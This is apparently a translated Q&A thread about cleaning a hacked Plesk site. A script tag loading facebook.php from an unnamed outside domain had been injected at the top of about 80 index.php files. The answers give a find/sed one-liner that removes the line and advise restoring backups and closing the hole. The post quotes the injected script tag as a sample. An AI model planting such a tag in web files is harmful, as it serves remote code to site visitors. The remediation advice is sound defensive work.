Командная строка Linux: редактировать взломанные индексные файлы - PullRequest
2 голосов
/ 22 апреля 2011

К сожалению, я снова имею дело со взломанным сайтом на сервере Linux Plesk.Несмотря на то, что проблема была исправлена ​​с измененным доступом по FTP (дело дошло до знаменитой взлома FTP-файлов Filezilla на ПК), я бы очень хотел знать, как редактировать файлы, так как восстановление сайта до последней резервной копии может занять более часа.у нас есть, и я был бы рад вернуть его в оперативный режим быстрее.Взлом довольно прост: JavaScript-код был вставлен во многие файлы index * (кажется, только index.php) на сайте.Я ищу способ массового редактирования взломанных файлов, зная, что, хотя целевой код JavaScript одинаков, он вызывается с нескольких, вероятно, также взломанных сайтов.Поэтому, хотя мой законный индексный файл начинался с

<?php

, он теперь начинается как

<script type="text/javascript" src="http://(RANDOMDOMAINHERE)/facebook.php"></script><?php

Поскольку эта цепочка содержит переменную, не могли бы вы помочь мне найти надежный метод дляредактировать все измененные индексные файлы (найдено около 80)?Я использовал замену SED раньше, но на этот раз часть цепи для замены меняется, так что я мог бы использовать подстановочный знак?С уважением, спасибо, что пролил свет!

Ответы [ 3 ]

3 голосов
/ 22 апреля 2011
find -name 'index.php' -print0 |
    xargs -0 sed -i '1s#^<script type="text/javascript" src="http://.*\?/facebook.php"></script>##g'

Должен творить чудеса

команда sed:

  • 1 (совпадение в первой строке)
  • s#pattern#replacement#g (заменить шаблон назамена, за исключением того, что последний является пустым)
  • ^ должен совпадать в начале строки
  • .*\? принять произвольную длину последовательности символов;однако, если может быть найдено более одного совпадения для всего шаблона, сопоставьте только самый короткий его вариант

Cheers

1 голос
/ 22 апреля 2011

Я искренне надеюсь, что вы на самом деле не управляете рабочим доменом.Вы должны проинформировать своих пользователей, устранить проблему, предложить пользователям вернуться к последней резервной копии, у которой нет проблемы.

Невозможно сказать, что еще было подделано.

Я рад, что мой VPS где-то еще!

0 голосов
/ 22 апреля 2011

Я бы исправил эксплойт с использованием сценариев Cross side, прежде чем решить эту проблему, иначе все будет напрасноПосле этого достаточно простого поиска и замены блоков скрипта, содержащих общую строку.

...